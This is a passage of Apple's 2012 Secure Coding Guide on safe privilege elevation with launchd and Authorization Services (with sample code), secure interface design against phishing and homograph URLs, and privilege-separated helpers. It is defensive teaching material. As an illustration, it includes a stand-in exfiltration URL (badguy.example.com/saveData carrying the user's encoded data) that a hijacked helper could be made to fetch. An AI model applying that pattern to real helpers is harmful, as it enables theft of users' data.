IDs. It suffers from the same shortcomings as the setuid function; use the setegid function instead.
● The setregid function acts similarly to the setreuid function, with the same shortcomings; use the
setegid function instead.
● The setegid function sets the effective GID. This function is the preferred call to use if you want to set
the EGID.
Avoiding Forking Off a Privileged Process
There are a couple of functions you might be able to use to avoid forking off a privileged helper application.
The authopen command lets you obtain temporary rights to create, read, or update a file. You can use the
launchd daemon to start a process with specified privileges and a known environment.
authopen
When you run the authopen command, you provide the pathname of the file that you want to access. There
are options for reading the file, writing to the file, and creating a new file. Before carrying out any of these
operations, the authopen command requests authorization from the system security daemon, which
authenticates the user (through a password dialog or other means) and determines whether the user has
sufficient rights to carry out the operation. See the manual page for authopen(1) for the syntax of this
command.
Elevating Privileges Safely
Avoiding Forking Off a Privileged Process
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
65launchd
Starting with OS X v10.4, the launchd daemon is used to launch daemons and other programs automatically,
without user intervention. (If you need to support systems running versions of the OS earlier than OS X v10.4,
you can use startup items.)
The launchd daemon can launch both systemwide daemons and per-user agents, and can restart those
daemons and agents after they quit if they are still needed. You provide a configuration file that tells launchd
the level of privilege with which to launch your routine.
You can also use launchd to launch a privileged helper. By factoring your application into privileged and
unprivileged processes, you can limit the amount of code running as the root user (and thus the potential
attack surface). Be sure that you do not request higher privilege than you actually need, and always drop
privilege or quit execution as soon as possible.
There are several reasons to use launchd in preference to writing a daemon running as the root user or a
factored application that forks off a privileged process:
● Because launchd launches daemons on demand, your daemon needs not worry about whether other
services are available yet. When it makes a request for one of those services, the service gets started
automatically in a manner that is transparent to your daemon.
● Because launchd itself runs as the root user, if your only reason for using a privileged process is to run a
daemon on a low-numbered port, you can let launchd open that port on your daemon’s behalf and pass
the open socket to your daemon, thus eliminating the need for your code to run as the root user.
● Because launchd can launch a routine with elevated privileges, you do not have to set the setuid or
setgid bits for the helper tool. Any routine that has the setuid or setgid bit set is likely to be a target
for attack by malicious users.
● A privileged routine started by launchd runs in a controlled environment that can’t be tampered with.
If you launch a helper tool that has the setuid bit set, it inherits much of the launching application’s
environment, including:
● Open file descriptors (unless their close-on-exec flag is set).
● Environment variables (unless you use posix_spawn, posix_spawnp, or an exec variant that takes
an explicit environment argument).
● Resource limits.
● The command-line arguments passed to it by the calling process.
● Anonymous shared memory regions (unattached, but available to reattach, if desired).
● Mach port rights.
There are probably others. It is much safer to use launchd, which completely controls the launch
environment.
Elevating Privileges Safely
Avoiding Forking Off a Privileged Process
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
66●
It’s much easier to understand and verify the security of a protocol between your controlling application
and a privileged daemon than to handle the interprocess communication needed for a process you forked
yourself. When you fork a process, it inheritsits environment from your application, including file descriptors
and environment variables, which might be used to attack the process (see “The Hostile Environment and
the Principle of Least Privilege” (page 60)). You can avoid these problems by using launchd to launch a
daemon.
●
It’s easier to write a daemon and launch it with launchd than to write factored code and fork off a separate
process.
● Because launchd is a critical system component, it receives a lot of peer review by in-house developers
at Apple. It is less likely to contain security vulnerabilities than most production code.
● The launchd.plist file includes key-value pairs that you can use to limit the system services—such as
memory, number of files, and cpu time—that the daemon can use.
For more information on launchd, see the manual pages for launchd, launchctl, and launchd.plist,
and Daemons and Services Programming Guide . For more information about startup items, see Daemons and
Services Programming Guide .
Limitations and Risks of Other Mechanisms
In addition to launchd, the following lesser methods can be used to obtain elevated privileges. In each case,
you must understand the limitations and risks posed by the method you choose.
●
setuid
If an executable's setuid bit is set, the program runs as whatever user owns the executable regardless
of which process launches it. There are two approaches to using setuid to obtain root (or another user’s)
privileges while minimizing risk:
● Launch your program with root privileges, perform whatever privileged operations are necessary
immediately, and then permanently drop privileges.
● Launch a setuid helper tool that runs only as long as necessary and then quits.
If the operation you are performing needs a group privilege or user privilege other than root, you should
launch your program or helper tool with that privilege only, not with root privilege, to minimize the
damage if the program is hijacked.
It’s important to note that if you are running with both a group ID (GID) and user ID (UID) that are different
from those of the user, you have to drop the GID before dropping the UID. Once you’ve changed the UID,
you can no longer change the GID. As with every security-related operation, you must check the return
values of your calls to setuid, setgid, and related routines to make sure they succeeded.
Elevating Privileges Safely
Limitations and Risks of Other Mechanisms
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
67For more information about the use of the setuid bit and related routines, see “Elevating Privileges
Safely” (page 59).
● SystemStarter
When you put an executable in the /Library/StartupItems directory, it is started by the
SystemStarter program at boot time. Because SystemStarter runs with root privileges, you can start
your program with any level of privilege you wish. Be sure to use the lowest privilege level that you can
use to accomplish your task, and to drop privilege as soon as possible.
Startup items run daemons with root privilege in a single global session; these processes serve all users.
For OS X v10.4 and later, the use of startup items is deprecated; use the launchd daemon instead. For
more information on startup items and startup item privileges,see “Startup Items” in Daemons and Services
Programming Guide .
● AuthorizationExecWithPrivilege
The Authorization Services API provides the AuthorizationExecWithPrivilege function, which
launches a privileged helper as the root user.
Although this function can execute any process temporarily with root privileges, it is not recommended
except for installersthat have to be able to run from CDs and self-repairing setuid tools. See Authorization
Services Programming Guide for more information.
● xinetd
In earlier versions of OS X, the xinetd daemon was launched with root privileges at system startup and
subsequently launched internetservices daemons when they were needed. The xinetd.conf configuration
file specified the UID and GID of each daemon started and the port to be used by each service.
Starting with OS X v10.4, you should use launchd to perform the services formerly provided by xinetd.
SeeDaemonsandServicesProgrammingGuide forinformation about convertingfromxinetdtolaunchd.
See the manual pages for xinetd(8) and xinetd.conf(5) for more information about xinetd.
● Other
If you are using some other method to obtain elevated privilege for your process, you should switch to
one of the methods described here and follow the cautions described in this chapter and in “Elevating
Privileges Safely” (page 59).
Elevating Privileges Safely
Limitations and Risks of Other Mechanisms
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
68Factoring Applications
If you’ve read this far and you’re still convinced you need to factor your application into privileged and
nonprivileged processes, this section provides some tips and sample code. In addition, see Authorization
Services Programming Guide for more advice on the use of Authorization Services and the proper way to factor
an application.
As explained in the Authorization Services documentation, it is very important that you check the user’s rights
to perform the privileged operation, both before and after launching your privileged helper tool. Your helper
tool, owned by root and with the setuid bit set, has sufficient privileges to perform whatever task it has to
do. However, if the user doesn’t have the rights to perform this task, you shouldn’t launch the tool and—if the
tool gets launched anyway—the tool should quit without performing the task. Your nonprivileged process
should first use Authorization Services to determine whether the user is authorized and to authenticate the
user if necessary (this is called preauthorizing ; see Listing 5-1 (page 70)). Then launch your privileged process.
The privileged process then should authorize the user again, before performing the task that requires elevated
privileges; see Listing 5-2 (page 71). As soon as the task is complete, the privileged process should terminate.
In determining whether a user has sufficient privileges to perform a task, you should use rights that you have
defined and put into the policy database yourself. If you use a right provided by the system or by some other
developer, the user might be granted authorization for that right by some other process, thus gaining privileges
to your application or access to data that you did not authorize or intend. For more information about policies
and the policy database, (see the section “The Policy Database” in the “Authorization Concepts” chapter of
Authorization Services Programming Guide ).
In the code samples shown here, the task that requires privilege is killing a process that the user does not own.
Example: Preauthorizing
If a user tries to kill a process that he doesn’t own, the application has to make sure the user is authorized to
do so. The following numbered items correspond to comments in the code sample:
1. If the process is owned by the user, and the process is not the window server or the login window, go
ahead and kill it.
2. Call the permitWithRight method to determine whether the user has the right to kill the process. The
application must have previously added this right—in this example, called
com.apple.processkiller.kill—to the policy database. The permitWithRight method handles
the interaction with the user (such as an authentication dialog). If this method returns 0, it completed
without an error and the user is considered preauthorized.
3. Obtain the authorization reference.
4. Create an external form of the authorization reference.
5. Create a data object containing the external authorization reference.
Elevating Privileges Safely
Factoring Applications
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
696. Pass this serialized authorization reference to the setuid tool that will kill the process (Listing 5-2 (page
71)).
Listing 5-1 Non-privileged process
if (ownerUID == _my_uid && ![[contextInfo processName]
isEqualToString:@"WindowServer"] && ![[contextInfo processName]
isEqualToString:@"loginwindow"]) {
[self killPid:pid withSignal:signal]; // 1
} else {
SFAuthorization *auth = [SFAuthorization authorization];
if (![auth permitWithRight:"com.apple.proccesskiller.kill" flags:
kAuthorizationFlagDefaults|kAuthorizationFlagInteractionAllowed|
kAuthorizationFlagExtendRights|kAuthorizationFlagPreAuthorize]) // 2
{
AuthorizationRef authRef = [auth authorizationRef]; // 3
AuthorizationExternalForm authExtForm;
OSStatus status = AuthorizationMakeExternalForm(authRef, &authExtForm);// 4
if (errAuthorizationSuccess == status) {
NSData *authData = [NSData dataWithBytes: authExtForm.bytes
length: kAuthorizationExternalFormLength]; // 5
[_agent killProcess:pid signal:signal authData: authData]; // 6
}
}
}
The external tool is owned by root and has its setuid bit set so that it runs with root privileges. It imports the
externalized authorization rights and checks the user’s authorization rights again. If the user has the rights,
the tool killsthe process and quits. The following numbered items correspond to commentsin the code sample:
1. Convert the external authorization reference to an authorization reference.
2. Create an authorization item array.
3. Create an authorization rights set.
Elevating Privileges Safely
Factoring Applications
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
704. Call the AuthorizationCopyRights function to determine whether the user has the right to kill the
process. You pass this function the authorization reference. If the credentials issued by the Security Server
when it authenticated the user have not yet expired, this function can determine whether the user is
authorized to kill the process without reauthentication. If the credentials have expired, the Security Server
handles the authentication (for example, by displaying a password dialog). (You specify the expiration
period for the credentials when you add the authorization right to the policy database.)
5. If the user is authorized to do so, kill the process.
6. If the user is not authorized to kill the process, log the unsuccessful attempt.
7. Release the authorization reference.
Listing 5-2 Privileged process
AuthorizationRef authRef = NULL;
OSStatus status = AuthorizationCreateFromExternalForm(
(AuthorizationExternalForm *)[authData bytes], &authRef); // 1
if ((errAuthorizationSuccess == status) && (NULL != authRef)) {
AuthorizationItem right = {"com.apple.proccesskiller.kill",
0L, NULL, 0L}; // 2
AuthorizationItemSet rights = {1, &right}; // 3
status = AuthorizationCopyRights(authRef, &rights, NULL,
kAuthorizationFlagDefaults | kAuthorizationFlagInteractionAllowed |
kAuthorizationFlagExtendRights, NULL); // 4
if (errAuthorizationSuccess == status)
kill(pid, signal); // 5
else
NSLog(@"Unauthorized attempt to signal process %d with %d",
pid, signal); // 6
AuthorizationFree(authRef, kAuthorizationFlagDefaults); // 7
}
Helper Tool Cautions
If you write a privileged helper tool, you need to be very careful to examine your assumptions. For example,
you should always check the results of function calls; it is dangerousto assume they succeeded and to proceed
on that assumption. You must be careful to avoid any of the pitfalls discussed in this document, such as buffer
overflows and race conditions.
Elevating Privileges Safely
Factoring Applications
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
71If possible, avoid linking in any extra libraries. If you do have to link in a library, you must not only be sure that
the library has no security vulnerabilities, but also that it doesn’t link in any other libraries. Any dependencies
on other code potentially open your code to attack.
In order to make your helper tool as secure as possible, you should make it as short as possible—have it do
only the very minimum necessary and then quit. Keeping it short makes it less likely that you made mistakes,
and makes it easier for others to audit your code. Be sure to get a security review from someone who did not
help write the tool originally. An independent reviewer is less likely to share your assumptions and more likely
to spot vulnerabilities that you missed.
Authorization and Trust Policies
In addition to the basic permissions provided by BSD, the OS X Authorization Services API enables you to use
the policy database to determine whether an entity should have access to specific features or data within your
application. Authorization Services includes functions to read, add, edit, and delete policy database items.
You should define your own trust policies and put them in the policy database. If you use a policy provided
by the system or by some other developer, the user might be granted authorization for a right by some other
process, thus gaining privileges to your application or access to data that you did not authorize or intend.
Define a different policy for each operation to avoid having to give broad permissions to users who need only
narrow privileges. For more information about policies and the policy database, see the section “The Policy
Database” in the “Authorization Concepts” chapter of Authorization Services Programming Guide .
Authorization Services does not enforce access controls; rather, it authenticates users and lets you know whether
they have permission to carry out the action they wish to perform. It is up to your program to either deny the
action or carry it out.
Security in a KEXT
Because kernel extensions have no user interface, you cannot call Authorization Servicesto obtain permissions
that you do not already have. However, in portions of your code that handle requests from user space, you
can determine what permissions the calling process has, and you can evaluate access control lists (ACLs; see
the section “ACLs” in the “Security Concepts” section of Security Overview).
In OS X v10.4 and later, you can also use the Kernel Authorization (Kauth) subsystem to manage authorization.
For more information on Kauth, see Technical Note TN2127, Kernel Authorization (http://developer.apple.com/technotes/tn2005/tn2127.html).
Elevating Privileges Safely
Authorization and Trust Policies
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
72The user is often the weak link in the security of a system. Many security breaches have been caused by weak
passwords, unencrypted filesleft on unprotected computers, and successfulsocial engineering attacks. Therefore,
it is vitally important that your program’s user interface enhance security by making it easy for the user to
make secure choices and avoid costly mistakes.
In a social engineering attack, the user is tricked into either divulging secret information or running malicious
code. For example, the Melissa virus and the Love Letter worm each infected thousands of computers when
users downloaded and opened files sent in email.
This chapter discusses how doing things that are contrary to user expectations can cause a security risk, and
gives hints for creating a user interface that minimizes the risk from social engineering attacks. Secure human
interface design is a complex topic affecting operating systems as well as individual programs. This chapter
gives only a few hints and highlights.
For an extensive discussion of this topic, see Cranor and Garfinkel, Security and Usability: Designing Secure
Systems that People Can Use , O’Reilly, 2005. There is also an interesting weblog on this subject maintained by
researchers at the University of California at Berkeley (http://usablesecurity.com/).
Use Secure Defaults
Most users use an application’s default settings and assume that they are secure. If they have to make specific
choices and take multiple actions in order to make a program secure, few will do so. Therefore, the default
settings for your program should be as secure as possible.
For example:
●
If your program launches other programs, it should launch them with the minimum privileges they need
to run.
●
If your program supports optionally connecting by SSL, the checkbox should be checked by default.
●
If your program displays a user interface that requires the user to decide whether to perform a potentially
dangerous action, the default option should be the safe choice. If there is no safe choice, there should be
no default. (See “UI Element Guidelines: Controls” in OS X Human Interface Guidelines.)
And so on.
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
73
Designing Secure User InterfacesThere is a common belief that security and convenience are incompatible. With careful design, this does not
have to be so. In fact, it is very important that the user not have to sacrifice convenience for security, because
many users will choose convenience in thatsituation. In many cases, a simpler interface is more secure, because
the user is less likely to ignore security features and less likely to make mistakes.
Whenever possible, you should make security decisions for your users: in most cases, you know more about
security than they do, and if you can’t evaluate the evidence to determine which choice is most secure, the
chances are your users will not be able to do so either.
For a detailed discussion of this issue and a case study, see the article “Firefox and the Worry-Free Web” in
Cranor and Garfinkel, Security and Usability: Designing Secure Systems that People Can Use .
Meet Users’ Expectations for Security
If your program handles data that the user expects to be kept secret, make sure that you protect that data at
all times. That means not only keeping it in a secure location or encrypting it on the user’s computer, but not
handing it off to another program unless you can verify that the other program will protect the data, and not
transmitting it over an insecure network. If for some reason you cannot keep the data secure, you should make
this situation obvious to users and give them the option of canceling the insecure operation.
Important: The absence of an indication that an operation is secure is not a good way to inform the user
that the operation is insecure. A common example of this is any web browser that adds a lock icon (usually
small and inconspicuous) on web pages that are protected by SSL/TLS or some similar protocol. The user
has to notice that this icon is not present (or that it’s in the wrong place, in the case of a spoofed web page)
in order to take action. Instead, the program should prominently display some indication for each web
page or operation that is not secure.
The user must be made aware of when they are granting authorization to some entity to act on their behalf
or to gain access to their files or data. For example, a program might allow users to share files with other users
on remote systems in order to allow collaboration. In this case, sharing should be off by default. If the user
turns it on, the interface should make clear the extent to which remote users can read from and write to files
on the local system. If turning on sharing for one file also lets remote users read any other file in the same
folder, for example, the interface must make this clear before sharing is turned on. In addition, as long as
sharing is on, there should be some clear indication that it is on, lest users forget that their files are accessible
by others.
Designing Secure User Interfaces
Meet Users’ Expectations for Security
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
74Authorization should be revocable: if a user grants authorization to someone, the user generally expects to be
able to revoke that authorization later. Whenever possible, your program should not only make this possible,
it should make it easy to do. If for some reason it will not be possible to revoke the authorization, you should
make that clear before granting the authorization. You should also make it clear that revoking authorization
cannot reverse damage already done (unless your program provides a restore capability).
Similarly, any other operation that affects security but that cannot be undone should either not be allowed or
the user should be made aware of the situation before they act. For example, if all files are backed up in a
central database and can’t be deleted by the user, the user should be aware of that fact before they record
information that they might want to delete later.
As the user’s agent, you must carefully avoid performing operations that the user does not expect or intend.
For example, avoid automatically running code if it performsfunctionsthat the user has not explicitly authorized.
Secure All Interfaces
Some programs have multiple user interfaces, such as a graphical user interface, a command-line interface,
and an interface for remote access. If any of these interfaces require authentication (such as with a password),
then all the interfaces should require it. Furthermore, if you require authentication through a command line
or remote interface, be sure the authentication mechanism is secure—don’t transmit passwords in cleartext,
for example.
Place Files in Secure Locations
Unless you are encrypting all output, the location where you save files has important security implications. For
example:
● FileVault can secure the root volume (or the user’s home folder prior to OS X v10.7), but not other locations
where the user might choose to place files.
● Folder permissions can be set in such a way that others can manipulate their contents.
You should restrict the locations where users can save files if they contain information that must be protected.
If you allow the user to select the location to save files, you should make the security implications of a particular
choice clear; specifically, they must understand that, depending on the location of a file, it might be accessible
to other applications or even remote users.
Designing Secure User Interfaces
Secure All Interfaces
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
75Make Security Choices Clear
Most programs, upon detecting a problem or discrepancy, display a dialog box informing the user of the
problem. Often this approach does not work, however. For one thing, the user might not understand the
warning or its implications. For example, if the dialog warns the user that the site to which they are connecting
has a certificate whose name does not match the name of the site, the user is unlikely to know what to do with
that information, and is likely to ignore it. Furthermore, if the program puts up more than a few dialog boxes,
the user is likely to ignore all of them.
To solve this problem, when giving the user a choice that has security implications, make the potential
consequences of each choice clear. The user should never be surprised by the results of an action. The choice
given to the user should be expressed in terms of consequences and trade-offs, not technical details.
For example, a choice of encryption methods should be based on the level of security (expressed in simple
terms,such asthe amount of time it might take to break the encryption) versusthe time and disk space required
to encrypt the data, rather than on the type of algorithm and the length of the key to be used. If there are no
practical differences of importance to the user (as when the more secure encryption method is just as efficient
as the less-secure method), just use the most secure method and don’t give the user the choice at all.
Be sensitive to the fact that few users are security experts. Give as much information—in clear, nontechnical
terms—as necessary for them to make an informed decision. In some cases, it might be best not to give them
the option of changing the default behavior.
For example, most users don’t know what a digital certificate is, let alone the implications of accepting a certificate
signed by an unknown authority. Therefore, it is probably not a good idea to let the user permanently add an
anchor certificate (a certificate that is trusted for signing other certificates) unless you can be confident that
the user can evaluate the validity of the certificate. (Further, if the user is a security expert, they’ll know how
to add an anchor certificate to the keychain without the help of your application anyway.)
If you are providing security features, you should make their presence clear to the user. For example, if your
mail application requires the user to double click a small icon in order to see the certificate used to sign a
message, most users will never realize that the feature is available.
In an often-quoted but rarely applied monograph, Jerome Saltzer and Michael Schroeder wrote “It is essential
that the human interface be designed for ease of use, so that users routinely and automatically apply the
protection mechanisms correctly. Also, to the extent that the user’s mental image of his protection goals
matchesthe mechanisms he must use, mistakes will be minimized. If he must translate hisimage of his protection
needs into a radically different specification language, he will make errors.” (Saltzer and Schroeder, “The
Protection of Information in Computer Systems,” Proceedings of the IEEE 63:9, 1975.)
Designing Secure User Interfaces
Make Security Choices Clear
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
76For example, you can assume the user understandsthat the data must be protected from unauthorized access;
however, you cannot assume the user has any knowledge of encryption schemes or knows how to evaluate
password strength. In this case, your program should present the user with choices like the following:
●
“Is your computer physically secure, or is it possible that an unauthorized user will have physical access
to the computer?”
●
“Is your computer connected to a network?”
From the user’s answers, you can determine how best to protect the data. Unless you are providing an “expert”
mode, do not ask the user questions like the following:
●
“Do you want to encrypt your data, and if so, with which encryption scheme?”
●
“How long a key should be used?”
●
“Do you want to permit SSH access to your computer?”
These questions don’t correspond with the user’s view of the problem. Therefore, the user’s answers to such
questions are likely to be erroneous. In this regard, it is very important to understand the user’s perspective.
Very rarely is an interface thatseemssimple or intuitive to a programmer actually simple or intuitive to average
users.
To quote Ka-Ping Yee (User Interaction Design for Secure Systems, at http://www.eecs.berkeley.edu/Pubs/TechRpts/2002/CSD-02-1184.pdf):
In order to have a chance of using a system safely in a world of unreliable and sometimes adversarial
software, a user needs to have confidence in all of the following statements:
● Things don’t become unsafe all by themselves. (Explicit Authorization)
●
I can know whether things are safe. (Visibility)
●
I can make things safer. (Revocability)
●
I don’t choose to make things unsafe. (Path of Least Resistance)
●
I know what I can do within the system. (Expected Ability)
●
I can distinguish the things that matter to me. (Appropriate Boundaries)
●
I can tell the system what I want. (Expressiveness)
●
I know what I’m telling the system to do. (Clarity)
● The system protects me from being fooled. (Identifiability, Trusted Path)
For additional tips, read “Dialogs” in OS X Human Interface Guidelines and “Alerts, Action Sheets, and Modal Views”
in iOS Human Interface Guidelines.
Designing Secure User Interfaces
Make Security Choices Clear
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
77Fight Social Engineering Attacks
Social engineering attacks are particularly difficult to fight. In a social engineering attack, the attacker fools
the user into executing attack code or giving up private information.
A common form of social engineering attack is referred to as phishing . Phishing refers to the creation of an
official-looking email or web page that fools the user into thinking they are dealing with an entity with which
they are familiar,such as a bank with which they have an account. Typically, the user receives an email informing
them that there is something wrong with their account, and instructing them to click on a link in the email.
The link takes them to a web page that spoofs a real one; that is, it includes icons, wording, and graphical
elements that echo those the user is used to seeing on a legitimate web page. The user is instructed to enter
such information as their social security number and password. Having done so, the user has given up enough
information to allow the attacker to access the user’s account.
Fighting phishing and other social engineering attacks is difficult because the computer’s perception of an
email or web page is fundamentally different from that of the user. For example, consider an email containing
a link to http://scamsite.example.com/ but in which the link’s text says Apple Web Store. From the
computer’s perspective, the URL links to a scam site, but from the user’s perspective, it links to Apple’s online
store. The user cannot easily tell that the link does not lead to the location they expect until they see the URL
in their browser; the computer similarly cannot determine that the link’s text is misleading.
To further complicate matters, even when the user looks at the actual URL, the computer and user may perceive
the URL differently. The Unicode characterset includes many charactersthat look similar or identical to common
English letters. For example, the Russian glyph that is pronounced like “r” looks exactly like an English “p” in
many fonts, though it has a different Unicode value. These characters are referred to as homographs. When
web browsers began to support internationalized domain names (IDN), some phishers set up websites that
looked identical to legitimate ones, using homographs in their web addresses to fool users into thinking the
URL was correct.
Some creative techniques have been tried for fighting social engineering attacks, including trying to recognize
URLsthat are similar to, but not the same as, well-known URLs, using private email channelsfor communications
with customers, using emailsigning, and allowing usersto see messages only if they come from known, trusted
sources. All of these techniques have problems, and the sophistication ofsocial engineering attacksisincreasing
all the time.
For example, to foil the domain name homograph attack, many browsers display internationalized domain
names IDN) in an ASCII format called “Punycode.” For example, an impostor website with the URL
http://www.apple.com/ that uses a Roman script for all the characters except for the letter “a”, for which
it uses a Cyrillic character, is displayed as http://www.xn--pple-43d.com.
Designing Secure User Interfaces
Fight Social Engineering Attacks
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
78Different browsers use different schemes when deciding which internationalized domain names to show and
which ones to translate. For example, Safari uses this form when a URL contains characters in two or more
scripts that are not allowed in the same URL, such as Cyrillic characters and traditional ASCII characters. Other
browsers consider whether the characterset is appropriate for the user’s default language. Still others maintain
a whitelist of registries that actively prevent such spoofing and use punycode for domains from all other
registries.
For a more in-depth analysis of the problem, more suggested approaches to fighting it, and some case studies,
see Security and Usability: Designing Secure Systems that People Can Use by Cranor and Garfinkel.
To learn more aboutsocial engineering techniquesin general, read The Art of Deception: Controlling the Human
Element of Security by Mitnick, Simon, and Wozniak.
Use Security APIs When Possible
One way to avoid adding security vulnerabilities to your code is to use the available security APIs whenever
possible. The Security Interface Framework API provides a number of user interface viewsto support commonly
performed security tasks.
iOS Note: The Security Interface Framework is not available in iOS. In iOS, applications are restricted
in their use of the keychain, and it is not necessary for the user to create a new keychain or change
keychain settings.
The Security Interface Framework API provides the following views:
● TheSFAuthorizationView class implements an authorization view in a window. An authorization view
is a lock icon and accompanying text that indicates whether an operation can be performed. When the
user clicks a closed lock icon, an authorization dialog displays. Once the user is authorized, the lock icon
appears open. When the user clicksthe open lock, Authorization Servicesrestricts access again and changes
the icon to the closed state.
● The SFCertificateView and SFCertificatePanel classes display the contents of a certificate.
● The SFCertificateTrustPanel class displays and optionally lets the user edit the trust settings in a
certificate.
● The SFChooseIdentityPanel class displays a list of identities in the system and lets the user select one.
(In this context, identity refers to the combination of a private key and its associated certificate.)
● The SFKeychainSavePanel class adds an interface to an application that lets the user save a new
keychain. The user interface is nearly identical to that used for saving a file. The difference is that this class
returns a keychain in addition to a filename and lets the user specify a password for the keychain.
Designing Secure User Interfaces
Use Security APIs When Possible
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
79● The SFKeychainSettingsPanel class displays an interface that lets the user change keychain settings.
Documentation for the Security Interface framework is in Security Interface Framework Reference .
Designing Secure User Interfaces
Use Security APIs When Possible
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
80Privilege separation is a common technique for making applications more secure. By breaking up an application
into functional units that each require fewer privileges, you can make it harder to do anything useful with any
single part of that application if someone successfully compromises it.
However, without proper design, a privilege-separated app is not significantly more secure than a
non-privilege-separated app. For proper security, each part of the app must treat other parts of the app as
untrusted and potentially hostile. To that end, this chapter provides dos and don’ts for designing a helper app.
There are two different ways that you can perform privilege separation:
● Creating a pure computation helper to isolate risky operations. Thistechnique requiresthe main application
to be inherently suspicious of any data that the helper returns, but does not require that the helper be
suspicious of the application.
● Creating a helper or daemon to perform tasks without granting the application the right to perform them.
This requires not only that the main application not trust the helper, but also that the helper not trust the
main application.
The techniques used for securing the two types of helpers differ only in the level of paranoia required by the
helper.
Avoid Puppeteering
When a helper application is so tightly controlled by the main application that it does not make any decisions
by itself, thisis called puppeteering. Thisisinherently bad design because if the application gets compromised,
the attacker can then control the helper similarly, in effect taking over pulling the helper’s “strings”. This
completely destroys the privilege separation boundary. Therefore, unless you are creating a pure computation
helper, splitting code into a helper application that simply does whatever the main app tells it to do is usually
not a useful division of labor.
In general, a helper must be responsible for deciding whether or not to perform a particular action. If you look
at the actions that an application can perform with and without privilege separation, those lists should be
different; if they are not, then you are not gaining anything by separating the functionality out into a separate
helper.
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
81
Designing Secure Helpers and DaemonsFor example, consider a helper that downloads help content for a word processor. If the helper fetches any
arbitrary URL that the word processor sends it, the helper can be trivially exploited to send arbitrary data to
an arbitrary server. For example, an attacker who took control of the browser could tell the helper to access
the URL http://badguy.example.com/saveData?hereIsAnEncodedCopyOfTheUser%27sData.
The subsections that follow describe solutions for this problem.
Use Whitelists
One way to fix this is with whitelists. The helper should include a specific list of resources that it can access.
For example, this helper could include:
● A host whitelist that includes only the domain example.org. Requests to URLs in that domain would
succeed, but the attacker could not cause the helper to access URLs in a different domain.
● An allowed path prefix whitelist. The attacker would not be able to use cross-site scripting on the
example.org bulletin board to redirect the request to another location. (This applies mainly to apps
using a web UI.)
You can also avoid this by handling redirection manually.
● An allowed file type whitelist. This could limit the helper to the expected types of files. (Note that file type
whitelists are more interesting for helpers that access files on the local hard drive.)
● A whitelist of specific URIs to which GET or POST operations are allowed.
Use Abstract Identifiers and Structures
A second way to avoid puppeteering is by abstracting away the details of the request itself, using data structures
and abstract identifiers instead of providing URIs, queries, and paths.
A trivial example of thisis a help system. Instead of the app passing a fully-formed URI for a help search request,
it might pass a flag field whose value tells the helper to “search by name” or “search by title” and a string value
containing the search string. This flag field is an example of an abstract identifier; it tells the helper what to do
without telling it how to do it.
Taken one step further, when the helper returns a list of search results, instead of returning the names and
URIs for the result pages, it could return the names and an opaque identifier (which may be an index into the
last set of search results). By doing so, the application cannot access arbitrary URIs because it never interacts
with the actual URIs directly.
Similarly, if you have an application that works with project files that reference other files, in the absence of
API to directly support this, you can use a temporary exception to give a helper access to all files on the disk.
To make this more secure, the helpershould provide access only to filesthat actually appear in the user-opened
Designing Secure Helpers and Daemons
Avoid Puppeteering
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
82project. The helper might do this by requiring the application to request files by some arbitrary identifier
generated by the helper rather than by name or path. This makes it harder for the application to ask the helper
to open arbitrary files. This can further be augmented with sniffing, as described in “Use the Smell Test” (page
83).
The same concept can be extended to other areas. For example, if the application needs to change a record
in a database, the helper could send the record as a data structure, and the app could send back the altered
data structure along with an indication of which values need to change. The helper could then verify the
correctness of the unaltered data before modifying the remaining data.
Passing the data abstractly also allows the helper to limit the application’s access to other database tables. It
also allows the helper to limit what kinds of queries the application can perform in ways that are more
fine-grained than would be possible with the permissions system that most databases provide.
Use the Smell Test
If a helper application has access to files that the main application cannot access directly, and if the main
application asks the helper to retrieve the contents of that file, it is useful for the helper to perform tests on
the file before sending the data to ensure that the main application has not substituted a symbolic link to a
different file. In particular, it is useful to compare the file extension with the actual contents of the file to see
whether the bytes on disk make sense for the apparent file type. This technique is called file type sniffing.
For example, the first few bytes of any image file usually provide enough information to determine the file
type. If the first four bytes are JFIF, the file is probably a JPEG image file. If the first four bytes are GIF8, the
file is probably a GIF image file. If the first four bytes are MM.* or II*., the file is probably a TIFF file. And so
on.
If the request passes this smell test, then the odds are good that the request is not malicious.
Treat Both App and Helper as Hostile
Because the entire purpose of privilege separation is to prevent an attacker from being able to do anything
useful after compromising one part of an application, both the helper and the app must assume that the other
party is potentially hostile. This means each piece must:
● Avoid buffer overflows (“Avoiding Buffer Overflows And Underflows” (page 17)).
● Validate all input from the other side (“Validating Input And Interprocess Communication” (page 33)).
● Avoid insecure interprocess communication mechanisms (“Validating Input And Interprocess
Communication” (page 33))
● Avoid race conditions (“Avoiding Race Conditions” (page 43)).
Designing Secure Helpers and Daemons
Treat Both App and Helper as Hostile
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
83● Treat the contents of any directory or file to which the other process has write access as fundamentally
untrusted (“Securing File Operations” (page 47)). This list potentially includes:
● The entire app container directory.
● Preference files.
● Temporary files.
● User files.
And so on. If you follow these design principles, you will make it harder for an attacker to do anything
useful if he or she compromises your app.
Run Daemons as Unique Users
For daemonsthatstart with elevated privileges and then drop privileges, you should always use a locally unique
user ID for your program. If you use some standard UID such as _unknown or nobody, then any other process
running with thatsame UID can interact with your program, either directly through interprocess communication,
or indirectly by altering configuration files. Thus, if someone hijacks another daemon on the same server, they
can then interfere with your daemon; or, conversely, ifsomeone hijacks your daemon, they can use it to interfere
with other daemons on the server.
You can use Open Directory services to obtain a locally unique UID. Note that UIDs from 0 through 500 are
reserved for use by the system.
Note: You should generally avoid making security decisions based on the user’s ID or name for two
reasons:
